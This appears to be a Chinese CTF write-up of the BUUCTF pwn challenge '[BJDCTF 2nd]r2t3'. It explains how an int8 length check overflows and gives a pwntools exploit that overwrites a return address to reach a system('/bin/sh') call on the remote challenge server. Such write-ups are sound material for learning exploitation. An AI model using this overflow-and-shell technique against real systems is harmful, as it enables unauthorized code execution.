整形溢出

[BJDCTF 2nd]r2t3

来自buuctf

先看ida

在这里插入图片描述

buf缓冲区大小为408h,而read读取大小为400h,比buf要小,所以不能进行简单的缓冲区栈溢出。

再看name_check函数,v3是int8类型的变量,1111 1111 = 0xFF = 255。当0xFF +1的时侯,变量发生整形溢出,0x100 = 256 此时v3的数值为零(0000 0000),但是这只是显示了一个字节,其实再计算机里面会溢出,前面会进行进位操作变成 1 0000 0000。

同时还要满足3< v3 <8 的条件,这时候可以确定溢出数值是在 0x104~0x107 中

在这里插入图片描述

后面的strcpy()函数将s复制给dest,看到dest的偏移为0x11+4

程序中给出了/bin/sh的地址

exp:

from pwn import *
#context.log_level = 'debug'
r=remote('node3.buuoj.cn',26213)
sys_addr = 0x08048594
payload = 'a' * (0x15) + p32(sys_addr) + 'a' * (0x104-0x19) # 0x15 + 0x4 + n = 0x104 
print(len(payload))
r.recvuntil('name:\n')
r.sendline(payload)
r.interactive()

Int8, 等于Byte, 占1个字节.

Int16, 等于short, 占2个字节. -32768 32767

Int32, 等于int, 占4个字节. -2147483648 2147483647

Int64, 等于long, 占8个字节. -9223372036854775808 9223372036854775807

这样, 看起来比short,int,long更加直观些!

另外, 还有一个Byte, 它等于byte, 0 - 255.

所以说这里的v3是占一个字节的,一个字节是由8位二进制决定的。

例如:0000 0000 就是一个字节,代表0,1111 1111 也是一个字节,代表255.

参考1
参考2

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值